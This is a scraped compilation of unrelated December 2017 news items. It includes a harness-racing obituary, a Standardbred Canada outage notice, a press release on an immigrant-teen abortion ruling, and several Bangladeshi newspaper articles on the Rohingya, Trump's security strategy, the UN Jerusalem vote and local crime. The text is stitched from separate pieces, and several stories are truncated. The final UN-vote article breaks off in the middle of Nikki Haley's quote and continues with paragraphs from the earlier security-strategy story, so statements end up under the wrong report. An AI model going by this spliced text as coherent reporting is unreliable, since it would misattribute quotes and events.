Francis J. Tierney of Chesapeake City, Maryland passed away Thursday, December 12, 2017 at the age of 97. Born June 27, 1920 in Newark, Delaware, the second of eleven children.

He attended Newark Public School, and then entered St. Charles College in Catonsville, Md. followed by St. Mary's Seminary and University in Baltimore, graduating in 1942 with a BA in Philosophy. He continued studying Theology and was ordained to the Catholic priesthood for the Diocese of Wilmington, Delaware in December 1945.

For 31 years, Father Tierney served as pastoral assistant at St. Mary's, St. Ann's, and St. Helena's in Wilmington, Good Shepherd in Perryville, Maryland, and chaplain at the Veteran's Hospital at Perry Point. He also served as Captain and Chaplain in the Delaware National Guard, then as Pastor of St. Benedict Parish in Ridgely, Maryland. He was founding Pastor of St. Polycarp Parish in Smyrna, Delaware then returned to the Wilmington area as Pastor of St. Mary Magdelain Parish and Dean of Suburban Wilmington.

After a brief leave of absence, he returned to Ridgley, Maryland as pastor until his retirement from active ministry and laicization.

Married to Carol Gerstenberg in 1976, Frank and Carol devoted themselves to breeding, training, and harness racing and settled in Chesapeake City. Among the young people who were associated with his harness stable was Joe Holloway.

Frank is survived by his wife, Carol of 41 years; his sisters Gertrude McKay and Marguerite Downey; brother, Joseph Tierney as well as numerous nieces and nephews.

A Mass of Christian Burial will be held on Wednesday, December 20 at 11:00 a.m. at St. Rose of Lima Church, 301 Lock Street, Chesapeake City, Maryland 21915. Visitation will begin at 10:00 a.m. Burial will follow the service at St. Rose of Lima Cemetery.

Please join Standardbred Canada in offering condolences to the family and friends of Francis Tierney.

(Dover Downs)
The Standardbred Canada website is back online after having experienced a service interruption due to a technical issue.

Standardbred Canadas IT Department has been working diligently with the SC websites third-party host since the issue arose. Standardbred Canada did not lose any information during the outage.

During the website downtime, Standardbred Canada worked as quickly as it could to rectify the issue.

As part of a contingency plan that was executed by Standardbred Canada, a condensed version of the SC website was offered online during the outage. The condensed version of the website offered Standardbred Canada members progress reports on the issue, as well as continued access to entries, results and condition sheets. The condensed website also featured a reduced amount of industry news.

Standardbred Canada would like to apologize to all members and website visitors for the inconvenience that the service interruption has caused. SC appreciates the patience displayed by members and harness racing fans during the outage. Standardbred Canada continues to strive to deliver a world-class online experience.

Bon retour!

Le site Web de Standardbred Canada est de retour apres avoir subi une interruption de service en raison d'un probleme technique.

Le departement des services informatique de Standardbred Canada a travaille en collaboration avec le fournisseur sous-traitant du site web de SC des que le probleme est survenu. Standardbred Canada n'a perdu aucune information pendant la panne.

Au cours de l'interruption du site, l'equipe de Standardbred Canada a travaille le plus rapidement que possible pour rectifier le probleme.

Dans le cadre d'un plan d'urgence qui a ete execute par Standardbred Canada, une version condensee du site de SC a ete offerte durant l'interruption. La version condensee du site web a offert aux membres de Standardbred Canada des mises a jour, ainsi que l'acces continu aux entrees, aux resultats et aux feuilles de condition. Le site web condense a egalement presente une quantite reduite de nouvelles sur l'industrie.

Standardbred Canada tient a s'excuser au pres de tous les membres et visiteurs du site web pour les inconvenients causes par l'interruption du service.
Obama Judge Orders Abortion for Two Illegal Mothers

WASHINGTON, Dec. 19, 2017 / Standard Newswire / -- Obama-appointed U.S. District Judge Tanya S. Chutkan ordered the Trump administration on Monday to "promptly and without delay" allow two pregnant immigrant teens in U.S. custody to access abortion services.

Both of the 17-year-olds are represented by the American Civil Liberties Union (ACLU). One teen, identified as Jane Roe, is about 10 weeks pregnant. The other, identified as Jane Poe, requested an abortion earlier this month after being told by her doctor that she is approaching 22 weeks.

If the government continues to block the teenagers' access to abortion, Chutkan wrote, they "will both suffer irreparable injury in the form of, at a minimum, increased risk to their health, and perhaps the permanent inability to obtain a desired abortion to which they are legally entitled."

Within an hour of the judge's ruling, the administration had simultaneously asked the U.S. Court of Appeals for the D.C. Circuit and the Supreme Court to intervene. The individual cases are part of a broader lawsuit challenging the government's new policy of discouraging, and even blocking, undocumented teens in custody from terminating pregnancies. Since March, the Trump administration has refused to "facilitate" abortions for unaccompanied minors taken into federal custody after crossing the border illegally. The government says the minors have the option of voluntarily returning to their home countries or could be released to sponsors in the United States who presumably could help them end their pregnancies.

This is the second case that the ACLU has brought up recently to allow undocumented teens to obtain abortions. Earlier this year, the ACLU challenged a ruling in Garza v. Hargan that was preventing a young immigrant from Central America, identified as Jane Doe, from obtaining an abortion. Chutkan was also the presiding judge. The U.S. Court of Appeals for the District of Columbia Circuit ruled in favor of Doe and the ACLU and she was able to have an abortion in October.

"This outrageous decision is an example of judicial activism and is shameful," said Mat Staver, Founder and Chairman of Liberty Counsel. "This decision forces the American taxpayers to fund human genocide. An additional irony is that an illegal minor can require Americans to abort her child which otherwise would soon be born as an American citizen. The judge totally ignores the deadly harm to the child. President Trump and the administration would be well within their rights to refuse to enforce this extreme opinion," said Staver.

Liberty Counsel is an international nonprofit, litigation, education, and policy organization dedicated to advancing religious freedom, the sanctity of life, and the family since 1989, by providing pro bono assistance and representation on these and related topics.


Mira Costa became the first team this season to win a set against Cathedral Catholic, but the Mustangs eventually fell in four sets in the CIF SoCal Regional final Tuesday night.
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Danish universal robots maker launches business in BD

Economic Reporter :

Universal Robots, the leading manufacturers of advanced, light weight collaborative robotic arms, will expand their operations in Bangladesh, after successfully having set up their operations in India and Sri Lanka.

The Universal Robots General Manager for South Asia operation, Pradeep David expressed the company's interest to Bangladesh market at launching programme of Universal Robots in Bangladesh held at a city hotel on Tuesday.

Danish company Universal Robots first developed in 2008 collaborative robots or co-robots, now dubbed as cobots, which are light-weight, easy to use robotic arms. Cobots are easy to programme, install and their collaborative nature allows them to work side-by-side with the workforce for high-quality output and handling them requires no special training. They work as a 'helping hand' that helps the human workforce in carrying out monotonous tasks, increases productivity and efficiency.

Pradeep David said, "The collaborative robot is a powerful innovation in the industrial manufacturing sector, enabling automated production with unprecedented flexibility. Our collaborative robot arms automate and streamline repetitive industrial processes. This approach will enable production departments to assign their staff members more creative jobs that provide them with new challenges that add value to the company and at the same time will increase the efficiency and productivity."

He added "Our latest collaboration in India was with an SME in January 2017 which has seen a 300 percent boost in production, over a brief period of 8 months. After successfully venturing into the Indian and Sri Lankan markets, we are looking forward to setting up and growing in Bangladesh as the country can provide us with enormous opportunities to develop."
Ctg Port moves 27 notches up in container-handling

Chittagong Bureau : Chittagong Seaport has set a record by advancing 27 notches in container-handling in eight years. The Chittagong port ranked 71st position in 2016 among the 100 ports across the world, according to the Lloyds List survey report released recently. The rank of the port was 98 in 2008, said a handout. Chittagong Port Authority (CPA) will observe the achievement through a function at Bangabandhu International Conference Centre (BICC) in the capital. Finance Minister AMA Muhith will present at the function as the chief guest while Commerce Minister Tofail Ahmed will attend it as the special guest, a sources of CPA said Editor of the Lloyds List Liton Nightingle will hand over a certificate of the recognition to CPA at the function. In 2016, the 100 ports handled about 555.6 million Twenty-foot Equivalent Units (TEUs) containers, which was 2.20 percent higher than that of 2015. China and India stood first and second position respectively. Twenty ports from China, three ports from India and Karachi port of Pakistan took position in the list.
China urges cooperation after US brands it a competitor

US President Donald Trump waves next to Chinese President Xi Jinping after attending a joint press conference at the Great Hall of the People in Beijing.

Reuters, Beijing :

Cooperation between China and the United States will lead to a win-win outcome for both sides, but confrontation will bring mutual losses, China said on Tuesday, after the United States branded it a competitor seeking to challenge U.S. power.

China hopes the United States can abandon its mentality of zero-sum games and seek common ground while respecting differences, China's U.S. embassy said on its website.

"On the basis of mutual respect, China is willing to exist peacefully with other countries including the United States," it said. "But the U.S. ought to adapt to, and accept, China's development."

China has always been a contributor to global development and a protector of the international order, Foreign Ministry Spokeswoman Hua Chunying said later in Beijing.

"Cooperation is the only correct choice for China and the United States," she said, adding that it was not surprising for the two to have disagreements but that they should find constructive ways to handle them.

China's economic and diplomatic activities around the world are broadly welcomed and no country or report will succeed in distorting the facts or deploying malicious slander, she told a daily news briefing.

As the world's two largest economies, China and the United States have a responsibility to protect global peace and stability and promote global prosperity, Hua added.

"We urge the U.S. side to stop intentionally distorting China's strategic intentions."

In a new national security strategy based on U.S. President Donald Trump's "America First" vision on Monday, the United States lumped China and Russia together as competitors seeking to erode U.S. security and prosperity.

The singling out of China and Russia as "revisionist powers" comes despite Trump's own attempts to build strong relations with Chinese President Xi Jinping as the two sides seek to rein in North Korea's nuclear and missile programs.

The new U.S. strategy reflects an unwillingness to accept the reality of China's rise, the state-run Global Times said in an editorial.

"But because of the enormous size and strength China has already achieved, they won't be able to suppress China," the widely-read newspaper said.

However, Trump was basically reiterating his standard line on China rather than threatening any specific action, said Shi Yinhong, head of the Centre for American Studies at Beijing's Renmin University.

"Since he took office the Chinese government's line on Trump has always been: Don't really look at what he says, but look at what he does," said Shi, who has advised the government on diplomacy. "So the strong words against China in the report the Chinese government won't really care about."

A senior U.S. administration official said China was attempting to revise the global status quo through its aggression in the South China Sea.

China says its expansion of islets in the South China Sea is for peaceful purposes only and it can, in any case, do what it wants, as it has irrefutable sovereignty there.

The U.S. administration also warned that intellectual property theft by China was a national security problem.




Aayush Sharma to do Recce before his debut film Loveratri

Aayush Sharma will travel to Gujarat tomorrow for the Recce of his upcoming film Loveratri. The director Abhiraj Minawala and writer Niren Bhatt will be visiting Ahmedabad and Vadodara for the recce of their film. So Aayush Sharma is going along with them. As the film is set in Gujarat and Aayush plays a Gujarati boy, it was important for him to understand milieu of Gujarat. He will be visiting real locations and meeting people.


BNP Chairperson Begum Khaleda Zia appeared before the special court in the city\'s Bakshibazar Alia Madrasha premises on Tuesday on two corruption cases filed by Anti-Corruption Commission.
Rohingya refugees endure lingering trauma

Farid Ahmed :

Twelve-year-old Rubina still struggles with the horrors she witnessed in her homeland in Myanmar before fleeing to neighbouring Bangladesh three months ago.

Despite reaching the relative safety of a refugee camp at Kutupalong in Bangladesh's southeast town of Cox's Bazar - now home to nearly a million ethnic Rohingya people, mostly women and children, who fled military persecution in Myanmar - Rubina suffers from post-traumatic stress caused by the harrowing experiences back in her country.

Conservative estimates by Medecins Sans Frontieres (MSF) state at least 6,700 of Rohingya deaths have been caused by violence, including at least 730 children under the age of five

"Barely a night passes without nightmares," she told IPS at an Islamic school in the camp where she comes every day to learn the Quran.

"I'm fine as long as I'm with my friends, but sometimes I feel alone even amidst a crowd I can't forget anything that I have seen."

Rubina was orphaned in the latest spate of violence in Myanmar's Rakhine state. She fled to Bangladesh along with her grandparents and three siblings after her parents were hacked to death by local Buddhist people in the presence of the army.

Rubina is among thousands of others who endured similar ordeals.

Different NGOs and aid groups are now working in more than a dozen camps stretching from Teknaf to Ukhia in Cox's Bazar. A 45-kilometre drive reveals settlement after settlement, with thousands of bamboo and tarpaulin shanties lining both sides of the hilly road.

Nur Mohammad, 12, witnessed soldiers killing his father. "My father, a fisherman, tried to escape by running away, but the military chased him and shot him to death," said Mohammad, who was staying at his maternal grandparents' house in Shahporir Dwip. Mohammad's father was a Myanmar national and his mother was Bangladeshi.

"As soldiers chased my father, my mother and I ran for cover through a jungle we ran and walked for several days until we reached Bangladesh," he said. "Sometimes I wake up at night and I feel like soldiers are knocking on the door In that moment, I forget I'm in Bangladesh."

The latest figures by the International Organization for Migration (IOM) indicate that 647,000 Rohingyas have arrived in Bangladesh since the latest spate of violence in Rakhine that began in August. The Bangladesh government estimated 300,000 to 400,000 Rohingyas were already here before the current influx.

A Rohingya community leader, Dil Mohammad, now lives in a camp in the no-man's-land between Bangladesh and Myanmar at Tambru of Naikhongchhari in Bangladesh's Bandarban district. He told IPS that women and children were the worst victims of violence.

Dil Mohammad, who has a degree in psychology from Yangon University (1994), worries about the future of those children, and especially young women, who will carry emotional scars from their experiences.

Though the Myanmar military denies it, many rights groups and UN officials have confirmed deliberate and planned atrocities, including murders, gang rapes and arsons against the Rohingyas.

"In most cases, children saw the brutality and the wrath of military against the Rohingyas, but many women were also showing the signs of brutality as they were raped and abused by the military and others," said a Rohingya man, Mohammad Faisal, at a settlement at Teknaf Nature Park and Wildlife Sanctuary.

Faisal's teenage wife Hajera, who was expecting her second baby, said they were lucky to have escaped with other family members, and everybody was safe and alive.

"I saw a soldier killing a baby - just throwing it onto the ground. I can't forget the scene. I have a one-year-old baby girl," Hajera said. "It could be my daughter I tried to erase it from my mind, but I can't. When I close my eyes I see the military man killing the baby and hear the baby crying."

In most cases, women were unable to share their experiences with others, she said. "They can't tell people how they have been abused, so they will bear their trauma [in silence]," Hajera said.

A Rohingya couple, Mohammad Faisal and his wife Hajera, pose for a photo with their child at their camp at Teknaf Nature's Park, Bangladesh. Credit: Farid Ahmed/IPS

A Rohingya couple, Mohammad Faisal and his wife Hajera, pose for a photo with their child at their camp at Teknaf Nature's Park, Bangladesh. Credit: Farid Ahmed/IPS

An aid worker at a centre of Save the Children, who asked not to be named, told IPS about the children she worked with. "They come here and spend the whole day making new friends and playing with them, but they need time to recover fully," she said.

Professor Tasmeem Siddiqui of Dhaka University, the founder and chair of Refugee and Migratory Movements Research Unit in Dhaka, said, "Those who are coordinating there must build up leadership from the community, especially women's leadership."

"Trauma management is a big challenge after any genocide. People can't easily forget what they have seen. It should be handled very carefully with the people who have expertise in those fields," she told IPS, adding, "I don't think there is a very systematic co-ordination among the groups working in the Rohingya settlements."

As women and children were the primary victims, women and children from their community should be engaged, along with the experts, so that the victims can speak up without inhibition, she said.

For women, trauma and sexual assaults are not the only issues to be addressed. In this vast stretch of unprotected settlements, they face other risks, from hygiene, and sanitation to trafficking.

Rohingya people interviewed for this story didn't fear the type of attacks they faced in Myanmar, but said there were still opportunists who would try to exploit the helplessness of the Rohingya women and children who were struggling to survive.

"Besides systematic aid work by groups with expertise, community participation is essential for the protection of women and children," Professor Siddiqui stressed.

Bangladesh and Myanmar recently signed a deal regarding repatriation of Rohingya. Many see the step as a ray of hope, but others who have suffered from decades of poverty, underdevelopment and sectarian violence at home were more cynical.

Even 10-year-old Mohammad Arafat expressed doubts. "They killed my father in front of me. My mother and I escaped," he said. "If we go back there, they will kill us."

-IPS.


Trump left isolated at the UN as other veto powers voted against him

THE US President has defied the world opinion by recognizing Jerusalem as Israel's capital early this month. The World this time ignored Mr Trump asking him to rescind his decision at the UN Security Council on Monday. Although the US representative Nikki Haleg vetoed the draft resolution at the meeting, the powerful UN body mandated to keep global peace nonetheless showed Trump has no right to defy global opinion and on this is sensitive issue all countries are united against his whimsical decision as it poses the biggest threat to destroy the Palestine-Israel peace process. Even other veto powers like Britain, France, Russia and China voted against the USA in the historic move as its representative on the Council just rebuffed at it saying it is an insult on her country.







The UN action shows Trump is now left alone except to his sick mind, arrogance of power and hatred towards Muslims. Nobody has so far taken his footprints to recognize Jerusalem as capital of Israel and moving out embassies there; as the world body and almost all the countries believe its status will be decided in final negotiations under two the states solutions. Trump can't make any unilateral declaration but his action was enough to trigger violence in many capitals and throughout the region. More than a dozen Palestinians were already killed by Israeli military to suppress uprising in occupied West Bank and Gaza Strip and the bloody conflict may only aggravate.







We can't miss the occasion to mention his action prompted 57 members Organization of Islamic Cooperation (OIC) to quickly offer recognition to East Jerusalem as the capital of future Palestinian state. It has also urged all other states to offer similar recognition to East Jerusalem. It is indeed time not for indecision but action.







The draft resolution at the Security Council as tabled by Egypt urged the US administration to withdraw recognition of Jerusalem and asserted any decisions on the status of Jerusalem 'will have no legal effect and are null and void and must be rescinded.' It further insists that Jerusalem is an issue "to be resolved through negotiations" while expressing regret over the recent decisions concerning the status of Jerusalem" -- without specifically mentioning Trump's move.





Mentionably, Mr Trump's decision came breaking with the past policies of earlier US administrations; which were acting as peace mediator and favored a peaceful solution to Israel-Palestine problem. Trump this time openly acted as an Israeli agent sacrificing US role as world leader and its vital national interest.







Regrettably, the USA is increasingly becoming isolated and instead of making America Great, Trump is making it infamous. He has already withdrawn from UNESCO and UN backed Climate Agreement and may further role back US participation from other UN agencies as possible retaliation. But the reading on the wall is that: Trump is taking America to the rat holes from its role as global leader. Sensible Americans also understand it but they are helpless.






China, Russia slam US 'imperialist' and 'Cold War mentality'

AFP :

China and Russia on Tuesday decried President Donald Trump's first National Security Strategy-which pilloried both nations as challengers to US power-as a "Cold War mentality" with an "imperialist character".

The two global powerhouses hit back hours after the Trump administration unveiled its approach to the world with biting language framing Beijing and Moscow as global competitors.

"We urge the United States to stop intentionally distorting China's strategic intentions and to abandon outdated notions such as the Cold War mentality and zero-sum game, otherwise it will only harm itself or others," Chinese foreign ministry spokeswoman Hua Chunying said.

Moscow issued its own denunciation moments later.

"The imperialist character of this document is obvious, as is the refusal to renounce a unipolar world, an insistent refusal," Kremlin spokesman Dmitry Peskov told reporters.

The report's tough tone contrasts sharply with Trump's friendlier face-to-face encounters with Chinese President Xi Jinping and Russian leader Vladimir Putin.

"China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity," the document says. Accusing China of seeking "to displace the United States" in Asia, the 68-page strategy is a litany of US grievances, from the Chinese stealing data to spreading "features of its authoritarian system."

"Contrary to our hopes, China expanded its power at the expense of the sovereignty of others," it says. Beijing launched a vigorous defence of its "peaceful development", saying any report "which distorts the facts, or maliciously slanders will only do so in vain". "China will never pursue its own development at the expense of other countries' interests," Hua told a regular news briefing. "At the same time we will never give up our legitimate rights and interests."

Trump received a lavish welcome during his first state visit to Beijing in November and was full of praise for Xi.

But the two countries have been locked in an increasingly acrimonious battle over trade issues, with Washington taking unprecedented steps to investigate and add tariffs to Chinese-made goods.

There are also lingering US concerns over China's military activities in the disputed South China Sea, while Washington has angered Beijing with its arms sales to self-ruled Taiwan.
4 more women raped in Ctg house: One held

Staff Reporter :

A gang of robbers raped four women after committing burglary in a house of Shah Mirpur in Karnafuli Upazila of Chittagong district on December 12.

After five days of the mugging, a case was filed with Karnafuli Police Station in this regard on Monday.

Police arrested one person named Md Sujan alias Abu (23) after the case had been filed. On Tuesday, Chittagong Metropolitan Magistrate Masud Pervez sent him to the jail.

Officer-in-Charge of Karnafuli Police Station Syed Mostafa told the journalists that they arrested Abu and sent him to the court after the case was sued.

The OC also said that some other persons were arrested on suspection. "They are being interrogated to find out the guilty," the OC added. During the robbery, no male member of the family was present in the house.

The victims alleged that the muggers stormed into the house around 1 am after cutting the grills of windows and snatched jewellery, valuables and cash money.

Later, on gunpoint, they raped three sister-in-laws and one of their female relatives, who was visiting them on the day. Local Union Parishad Chairman Didarul Islam blamed the law enforcers for the delay in case filing. Victim's family members said on December 13, police sent them to Patia Police Station, while they went to Karnafuli Police Station to file a case, and Patia police again redirected them to Karnafuli Police Station.

With the interference of State Minister for Land Saifuzzaman Chowdhury, police finally took the case and arrested a man in this regard.

Meanwhile, Officer-in-Charge of Karnafuli Police Station Syed Mostafa said firstly they (Victim) did not mention about the rapes and referred a different name of their village that actually falls under Patia Police Station. After one or two days, they corrected the name of their village and the case filed accordin
Trump slams China, Russia in `America First` security strategy

President Donald Trump used the launch of his first National Security Strategy on Monday to laud the benefits of cooperation with Russia, a striking departure from the document's more combative tone toward the Kremlin.

Unveiling a text that pilloried both Russia and China as "revisionist powers" bent on rolling back American interests, Trump hailed recent counterterror cooperation between Moscow and Washington. Trump claimed that a recent CIA tip-off about a terror attack on a cathedral in Vladimir Putin's home town of Saint Petersburg had prevented deaths "in the thousands."

"They were able to apprehend these terrorists before the event with no loss of life and that's a great thing, and the way it's supposed to work," Trump said, offering the prospect of better ties.

His conciliatory tone toward Putin came in sharp contrast to the 68-page strategy that was put together by key aides and which was designed to serve as a framework for the Trump administration's approach to the world.

The text uses remarkably biting language to frame Beijing and Moscow as global competitors.

"China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity," the document says.

It warns that "Russia aims to weaken US influence in the world and divide us from our allies and partners," while Russian nuclear weapons are deemed "the most significant existential threat to the United States."

It accuses China of seeking "to displace the United States" in Asia, listing a litany of US grievances, from deficits, to data theft to spreading "features of its authoritarian system."

"Contrary to our hopes, China expanded its power at the expense of the sovereignty of others," it says.

Trump's presidential campaign is being investigated for possible collusion with Russia in the runup to his shock 2016 election win.

The 45th president has derided the FBI investigation and called allegations of collusion "fake news."

The document-which has been 11 months in the making-is required by law and is designed to form a framework for how America approaches the world.

Previous national security strategies have been released without much fanfare and served as guideposts, rather than doctrinal commandments.

But in this unorthodox administration, the document had taken on extra significance.

Foreign officials in Washington often complain that there are effectively "two administrations"-one that they hear from day-to-day in contacts with the State Department and Pentagon and another coming from Trump, often via Twitter in 280 characters or fewer.

Trump and his advisors often publicly differ starkly on fundamental security issues from the Middle East to talks with North Korea.

But allies looking for clarity about the intentions of the world's pre-eminent economic and military power are likely to be confused by Trump's mixed messages.

Where the strategy warns Russia is using "subversive measures" to undermine "transatlantic unity," Trump again claimed that European allies were "delinquent" in paying for security "while we guarantee their safety and are willing to fight wars for them."

Where the strategy warned of Moscow's "destabilizing cyber capabilities" and interference in domestic political affairs, Trump made no such reference.

Since coming to office, Trump has worked to dismantle the legacy of his predecessor Barack Obama on issues ranging from climate change to free trade, sometimes leaving Washington isolated on the world stage.

On Monday, the United Nations Security Council overwhelmingly voted to approve a resolution to reject Trump's controversial recent decision to recognize Jerusalem as the capital of Israel-a move Washington blocked with its veto.

Trump's National Security Strategy also breaks with allies on the threat of climate change, avoiding the term outright and instead calling for "energy dominance."

"America's central position in the global energy system as a leading producer, consumer, and innovator-ensures that markets are free and US infrastructure is resilient and secure," it says.

Ascending to power on a message resolutely skeptical of climate change, Trump said in June that he would pull the US out of the Paris agreement on climate change signed by almost 200 countries.
Baby girl sold for Tk 4200

Md Joynal Abedin Khan :

Unfortunate parents have sold their one-day old baby girl at Tk 4,200 for paying the caesarean cost of a private clinic in Paikgacha municipal area in Khulna district.

A childless mother Kabita Rani Sardar bought the baby girl with the arbitration of Farin Hospital in the upazila on December 13, local sources said.

Kabita told the media that the newborn was in very negligence condition as her parents are passing hard time because of ultra poverty.

"I have taken the baby secretly based on the request of her parents," she added.

According to local sources, the wife of one Dilip Sardar gave birth to a baby girl in Farin Hospital on December 12. But the couple had no ability to bring the total cost of caesarian operation and post operation. Even, the baby was passing hard time due to carelessness.

At one stage, the couple decided to sell the newborn and informed the matter to the clinic authorities and their some relatives. After observing the interest of the couple, Kabita Rani paid Tk 4,200 and took the baby from the clinic, they said.

The parents were indifference to the newborn girl as they expected baby boy. They have three daughters earlier, according to them.

The newborn's father Dilip Sarder said that they sold the baby to Kabita Rani to considering the better future as the family condition of Kabita Rani good enough and they had no child.

Kabita Rani's husband Lakkhan Chadra said that they became happy after getting the baby.


Farmers Bank MD removed

Staff Reporter :

Bangladesh Bank (BB) on Tuesday removed scam-hit Farmers Bank Managing Director AKM Shamim for violating the banking laws and hampering the interests of the depositors.

BB Governor Dr Fazle Kabir issued an order in this respect.

AKM Shamim has also been barred from working in any bank or financial institution for the next three years. "The central bank took the decision as per the Section 46 of the Bank Companies Act," BB spokesperson Subhankar Saha told The New Nation.

His removal was the fourth of such action taken by the BB against a commercial bank's MD in the last three and a half years.

The country's banking regulator earlier fired BASIC Bank MD Kazi Faqurul Islam, Agrani Bank CEO Syed Abdul Hamid, after a BB investigation found both of them involved in corruption.

Recently, BB also removed NRB Commercial Bank's Managing Director Dewan Mujibur Rahman on charge of his alleged involvement in a number of loan scandals involving around Tk 700 crore.
Govt directive defied

M M Jasim :

The closed medical colleges are admitting students in MBBS courses under 2017-18 session ignoring the Health Ministry's order.

The government shut eight such colleges for multiple irregularities on September 29 this year.

Even those college administrations advertised for admission in the national dailies and online portals.

The government asked eight private medical colleges not to enroll any student in the MBBS programme for 2017-18 academic sessions for their failure to comply with the conditions preserved in the private medical college policies.

The colleges are Shahabuddin Medical College, Ad-din Bashundhara Medical College, Eyeche Medical College, Care Medical College, Northern International Medical College. Ashiyan Medical College in Dhaka, Nightingale Medical College in Ashulia and City Medical College of Gazipur.

Contrarily, the authorities of the medical colleges have been trying to convince the students arguing that they have already got permission from the Ministry to enroll students in their colleges. Their guardians are being convinced for admission in such colleges.

A good number of students have already been admitted to the aforementioned medical colleges.

"The students don't know what will happen if the Ministry does not recognize their certificates and academic life. As a result, both time and money will be wasted and their life will be frustrated, an official of a medical college wishing anonymity told The New Nation on Tuesday.

An official of Bangladesh Medical and Dental Council (BMDC) said that the students who were admitted to the closed medical colleges would not get the recognition of BMDC.

Professor Dr Abdur Rashid, Director of Directorate of Health, said, the Ministry has known the cheating of the closed medical colleges. "It is prohibited to admit in such medical colleges. We have already circulated to the nation. We will not take any responsibility of any student if they admit there after learning the Ministry's direction," he said.

It may be mentioned that there are 31 government medical colleges and 69 private medical colleges in the country. As many as 9,568 seats are in all medical colleges. Of them, 3,318 seats in government medical colleges and 6,250 seats in private medical colleges.


Turkish help over Rohingya issue assured

Prime Minister Sheikh Hasina receiving visiting Turkish Prime Minister Binali Yildirim at PMO on Tuesday. BSS photo



Visiting Turkish Prime Minister BinaliYildirim on Tuesday expressed his country's intention to further improve the existing strong trade and economic relations with Bangladesh, and assured of continuing its support to Rohingyas living in Bangladesh.

"We've discussed what we can do to improve our economic and trade relations," he said terming Bangladesh a dynamic nation with nearly 7 percent growth over the past few years.

After a bilateral meeting with his Bangladesh counterpart Sheikh Hasina, the Turkish Prime Minister highly appreciated Hasina's diplomacy over Rohingya issue and Bangladesh's support to the displaced people.

He said the bilateral document signed between Bangladesh and Myanmar on November 23 will make Rohingyas' return to their home possible soon.

The Turkish Prime Minister urged the international community to enhance their support for Rohingyas in Bangladesh and finding a political solution to the crisis looking at it as a humanitarian crisis instead of seeing it as an issue of Bangladesh.

Bangladesh and Myanmar on Tuesday formed a joint working group (JWG) to start the next step of work for the repatriation of Rohingyas living in Bangladesh and signed the terms of reference (TOR).

The agreed TOR mandates the JWG to undertake all the necessary measures to start the safe and voluntary return, resettlement and reintegration process of the displaced Myanmar residents as envisaged in the 'Arrangement on Return of Displaced Persons from Rakhine State'.

An estimated 655,000 Rohingyas have crossed into Bangladesh fleeing violence in Myanmar's Rakhine State since August 25, raising the total Rohingya population in Cox's Bazar to 867,000, said the UN migration agency.

Prime Minister Hasina said she had a very fruitful discussion with the Turkish Prime Minister on bilateral and international issues of common interests.

"We've reiterated our commitment to work closely and support each other on bilateral and international issues of mutual concern, including the issue of forcibly displaced Rohingya people from Myanmar," she said.

They talked about consolidating cooperation in key areas, such as, trade and investment, defence, education, tourism and connectivity.

BD for duty withdrawal on RMG, ceramic Bangladesh Prime Minister requested her Turkish counterpart to withdraw 17 percent and 19 percent additional duty imposed on Bangladeshi RMG and ceramic products.

The Turkish Prime Minister assured Bangladesh of looking into it, Foreign Secretary M ShahidulHaque told reporters at the PMO.

He said Sheikh Hasina mentioned that Bangladesh and Turkey can explore together the huge potential in the areas of trade and investment.

Bangladesh sought Turkish investment in special economic zones and Bangladesh, if necessary, can offer a dedicated zone for the Turkish investors, said the Foreign Secretary.

The Bangladesh Prime Minister also sought an initiative to quickly finalise the negotiations on Free Trade Agreement (FTA) between the two countries.

The Foreign Secretary said the bilateral relation between Bangladesh and Turkey moved another step ahead following the Turkish Prime Minister's visit.

On many international issues like Jerusalem, Syria, and the Middle East, both Bangladesh and Turkey hold similar positions which have made the Dhaka and Ankara relations more consolidated, he said.

Referring to Turkish role at the UN in last September on the Rohingya issue, the Foreign Secretary said Turkey along with Saudi Arabia played a very strong leading role in mobilising international support at that time.

He mentioned that getting support of a country like Turkey on international and political issues is very significant for any country.
Delayed landing for 25 flights

Staff Reporter :

Fog disrupted flight operations at Hazrat Shahjalal International Airport (HSIA) on Tuesday.

At least 25 inbound flights to Dhaka faced delays due to thick fog on the runway of the Airport, Civil Aviation Authority Bangladesh (CAAB) officials said.

They said, two aircrafts, scheduled to land at 7:50am and 8:20am, moved their direction to Kolkata and Chittagong respectively amid disruption in flights operation.

"The flights faced the disruption as heavy fog kept the runway of the Airport blurred. Similar conditions are expected tomorrow morning," Civil Aviation Duty Officer Md Farid Uddin told media.

He said many airlines have either cancelled their flights or delayed, thereby disrupting the plans and schedules of passengers.

Met Office Director Shamsuddin Ahmed said dense fog has covered the northern to the middle part of the country. "The fog may remain for the next three to four days," he added.

Ahmed further said that visibility at HSIA now stands at 1,800 meter forcing the Met Office to issue a fog warning at the airport.
UN votes 14-1 to condemn Trump's Jerusalem decision

Independent :

Britain joined 13 other members of the UN Security Council to vote in favour of a resolution calling for Donald Trump to rescind his declaration that Jerusalem is the capital of Israel, showing the depth of global opposition to the move.

The United States cast its first veto in more than six years to block the Egypt-drafted resolution, which did not specifically mention the US or Mr Trump bug expressed "deep regret at recent decisions concerning the status of Jerusalem." Nikki Haley, the US ambassador to the UN, denounced the resolution as "an insult" and said it "won't be forogtten." "The fact that this veto is being done in defence of American sovereignty and in defence of America's role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of Trump claimed that a recent CIA tip-off about a terror attack on a cathedral in Vladimir Putin's home town of Saint Petersburg had prevented deaths "in the thousands."

"They were able to apprehend these terrorists before the event with no loss of life and that's a great thing, and the way it's supposed to work," Trump said, offering the prospect of better ties.

His conciliatory tone toward Putin came in sharp contrast to the 68-page strategy that was put together by key aides and which was designed to serve as a framework for the Trump administration's approach to the world.

The text uses remarkably biting language to frame Beijing and Moscow as global competitors.

"China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity," the document says.

It warns that "Russia aims to weaken US influence in the world and divide us from our allies and partners," while Russian nuclear weapons are deemed "the most significant existential threat to the United States."

It accuses China of seeking "to displace the United States" in Asia, listing a litany of US grievances, from deficits, to data theft to spreading "features of its authoritarian system."

"Contrary to our hopes, China expanded its power at the expense of the sovereignty of others," it says.

Trump's presidential campaign is being investigated for possible collusion with Russia in the runup to his shock 2016 election win.

The 45th president has derided the FBI investigation and called allegations of collusion "fake news."

The document-which has been 11 months in the making-is required by law and is designed to form a framework for how America approaches the world.

Previous national security strategies have been released without much fanfare and served as guideposts, rather than doctrinal commandments.

But in this unorthodox administration, the document had taken on extra significance.

Foreign officials in Washington often complain that there are effectively "two administrations"-one that they hear from day-to-day in contacts with the State Department and Pentagon and another coming from Trump, often via Twitter in 280 characters or fewer.

